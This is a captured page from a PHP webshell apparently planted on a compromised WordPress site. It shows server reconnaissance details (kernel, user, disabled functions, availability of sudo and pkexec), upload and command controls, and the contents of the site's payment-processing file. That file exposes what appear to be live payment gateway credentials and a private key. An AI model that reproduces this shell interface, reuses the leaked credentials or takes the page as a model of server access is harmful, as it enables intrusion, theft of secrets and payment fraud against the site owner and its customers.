403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.189.26
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/lapma.in/wp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/lapma.in/wp-admin/process_payment.php
<?php
// Define your credentials and endpoints
$mercid = '325955';
$username = '2FvrUgCAaA';
$password = 'bfgKjv7q';
$privatekey = 'BHPZYrq2zrnv9aKC'; // The secret key for the payment
$paymentUrl = 'https://payments.airpay.co.in/pay/index.php'; // Replace with the correct endpoint
$responseUrl = 'https://www.lapma.in/thank-you/'; // URL to handle the response

// Process the form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Retrieve and sanitize form data
    $orderNo = isset($_POST['order_no']) ? htmlspecialchars($_POST['order_no']) : '';
    $amount = isset($_POST['amount']) ? htmlspecialchars($_POST['amount']) : '';
    $customerName = isset($_POST['customer_name']) ? htmlspecialchars($_POST['customer_name']) : '';
    $email = isset($_POST['email']) ? htmlspecialchars($_POST['email']) : '';
    $buyerPhone = isset($_POST['buyerPhone']) ? htmlspecialchars($_POST['buyerPhone']) : '48772482487';
    $address = isset($_POST['address']) ? htmlspecialchars($_POST['address']) : '';
    $city = isset($_POST['city']) ? htmlspecialchars($_POST['city']) : '';
    $state = isset($_POST['state']) ? htmlspecialchars($_POST['state']) : '';
    $country = isset($_POST['country']) ? htmlspecialchars($_POST['country']) : '';
    $pinCode = isset($_POST['pin_code']) ? htmlspecialchars($_POST['pin_code']) : '';
    $uid = isset($_POST['UID']) ? htmlspecialchars($_POST['UID']) : '';
    $vpa = isset($_POST['vpa']) ? htmlspecialchars($_POST['vpa']) : '';
    $checksum = isset($_POST['checksum']) ? htmlspecialchars($_POST['checksum']) : '';
    $currency = isset($_POST['currency']) ? htmlspecialchars($_POST['currency']) : '356';
    $isocurrency = isset($_POST['isocurrency']) ? htmlspecialchars($_POST['isocurrency']) : 'INR';
    $txnsubtype = isset($_POST['txnsubtype']) ? htmlspecialchars($_POST['txnsubtype']) : '';
    $wallet = isset($_POST['wallet']) ? htmlspecialchars($_POST['wallet']) : '';

    // Validate the amount
    if ($amount && is_numeric($amount) && $amount > 0) {
        // Prepare data for the request
        $data = [
            'mercid' => $mercid,
            'username' => $username,
            'password' => $password,
            'privatekey' => $privatekey,
            'orderid' => 'ORD' . time(), // Unique order ID
            'amount' => $amount,
            'currency' => $currency,
            'customer_name' => $customerName,
            'email' => $email,
            'buyerPhone' => $buyerPhone,
            'buyerAddress' => $address,
            'buyerCity' => $city,
            'buyerState' => $state,
            'buyerCountry' => $country,
            'buyerPinCode' => $pinCode,
            'UID' => $uid,
            'vpa' => $vpa,
            'checksum' => $checksum,
            'isocurrency' => $isocurrency,
            'txnsubtype' => $txnsubtype,
            'wallet' => $wallet,
            'callback_url' => $responseUrl,
            'return_url' => $responseUrl,
            'transaction_type' => 'SALE',
            'chmod' => 'enach', // Example value; ensure this matches your use case
            'sb_nextrundate' => '03/08/2022', // Example date; adjust as needed
            'sb_period' => 'W', // Example value; adjust as needed
            'sb_frequency' => 1, // Example value; adjust as needed
            'sb_amount' => 10.00, // Example value; adjust as needed
            'sb_isrecurring' => 1, // Example value; adjust as needed
            'sb_recurringcount' => 5, // Example value; adjust as needed
            'sb_retryattempts' => 0, // Example value; adjust as needed
            'sb_maxamount' => 10.00, // Example value; adjust as needed
        ];

        // Initialize cURL
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $paymentUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);

        // Execute the request and handle potential errors
        $response = curl_exec($ch);
        if (curl_errno($ch)) {
            echo 'cURL Error: ' . curl_error($ch);
            exit();
        }
        curl_close($ch);

        // Debug: Display the raw response from the API
        echo '<h3>API Response:</h3>';
        echo '<pre>' . htmlspecialchars($response) . '</pre>';

        // Decode JSON response (if applicable)
        $responseData = json_decode($response, true);
        if (json_last_error() !== JSON_ERROR_NONE) {
            echo '<h3>JSON Decoding Error:</h3>';
            echo json_last_error_msg();
            exit();
        }

        // Redirect to payment page if response includes the payment URL
        if (isset($responseData['payment_url'])) {
            header('Location: ' . $responseData['payment_url']);
            exit();
        } else {
            echo '<h3>Payment initiation failed.</h3>';
            echo '<pre>' . htmlspecialchars($response) . '</pre>';
        }
    } else {
        echo '<h3>Invalid amount. Please enter a valid amount.</h3>';
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit